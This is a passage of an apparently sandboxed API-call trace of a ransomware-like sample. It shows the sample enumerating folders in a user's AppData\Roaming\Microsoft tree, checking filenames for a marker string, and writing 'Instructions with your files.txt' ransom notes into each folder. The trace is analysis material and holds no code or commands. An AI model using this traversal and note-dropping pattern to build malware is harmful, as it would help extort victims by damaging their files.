[0131.471] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 0
[0131.471] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Instructions with your files.txt") returned 114
[0131.471] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\my\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.471] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.472] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.472] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.472] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.472] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.472] CloseHandle (hObject=0x11c) returned 1
[0131.472] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.472] GetProcessHeap () returned 0x810000
[0131.472] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.472] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 0
[0131.472] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\Instructions with your files.txt") returned 111
[0131.472] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\SystemCertificates\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\systemcertificates\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.473] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.474] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.474] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.474] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.474] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.474] CloseHandle (hObject=0x118) returned 1
[0131.474] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.474] GetProcessHeap () returned 0x810000
[0131.474] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.475] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31d42f10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2795d470, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x2795d470, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
[0131.475] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates") returned 69
[0131.475] GetProcessHeap () returned 0x810000
[0131.475] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.476] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\*") returned 71
[0131.476] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31d42f10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2795d470, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x2795d470, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.477] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\.") returned 71
[0131.477] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31d42f10, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2795d470, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x2795d470, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.477] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\..") returned 72
[0131.477] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5db2c650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5db2c650, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5db78910, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x509b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 1
[0131.477] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm") returned 81
[0131.477] StrStrIW (lpFirst="Normal.dotm", lpSrch="SDfghjkl") returned 0x0
[0131.477] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5db2c650, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5db2c650, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5db78910, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x509b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 0
[0131.477] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Instructions with your files.txt") returned 102
[0131.477] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.477] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.478] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.478] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.478] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.479] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.479] CloseHandle (hObject=0x118) returned 1
[0131.479] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.479] GetProcessHeap () returned 0x810000
[0131.479] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.479] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1
[0131.479] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof") returned 66
[0131.479] GetProcessHeap () returned 0x810000
[0131.479] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.479] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\*") returned 68
[0131.479] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.482] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\.") returned 68
[0131.482] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.482] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\..") returned 69
[0131.482] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 1
[0131.482] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC") returned 77
[0131.482] StrStrIW (lpFirst="CUSTOM.DIC", lpSrch="SDfghjkl") returned 0x0
[0131.482] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 0
[0131.482] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\Instructions with your files.txt") returned 99
[0131.482] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\UProof\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\uproof\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.482] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.483] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.483] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.483] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.483] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.484] CloseHandle (hObject=0x118) returned 1
[0131.484] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.484] GetProcessHeap () returned 0x810000
[0131.484] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.484] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
[0131.484] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f71aa70, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 1
[0131.484] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word") returned 64
[0131.484] GetProcessHeap () returned 0x810000
[0131.484] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.484] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\*") returned 66
[0131.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f71aa70, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.485] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\.") returned 66
[0131.485] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f71aa70, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.485] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\..") returned 67
[0131.485] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27c7d150, ftCreationTime.dwHighDateTime=0x1d3aaba, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 1
[0131.485] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP") returned 72
[0131.485] GetProcessHeap () returned 0x810000
[0131.485] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.486] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*") returned 74
[0131.486] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27c7d150, ftCreationTime.dwHighDateTime=0x1d3aaba, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.487] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\.") returned 74
[0131.487] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27c7d150, ftCreationTime.dwHighDateTime=0x1d3aaba, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.487] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\..") returned 75
[0131.487] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27c7d150, ftCreationTime.dwHighDateTime=0x1d3aaba, ftLastAccessTime.dwLowDateTime=0x27c7d150, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27c7d150, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.487] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\Instructions with your files.txt") returned 105
[0131.487] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\word\\startup\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.487] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.488] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
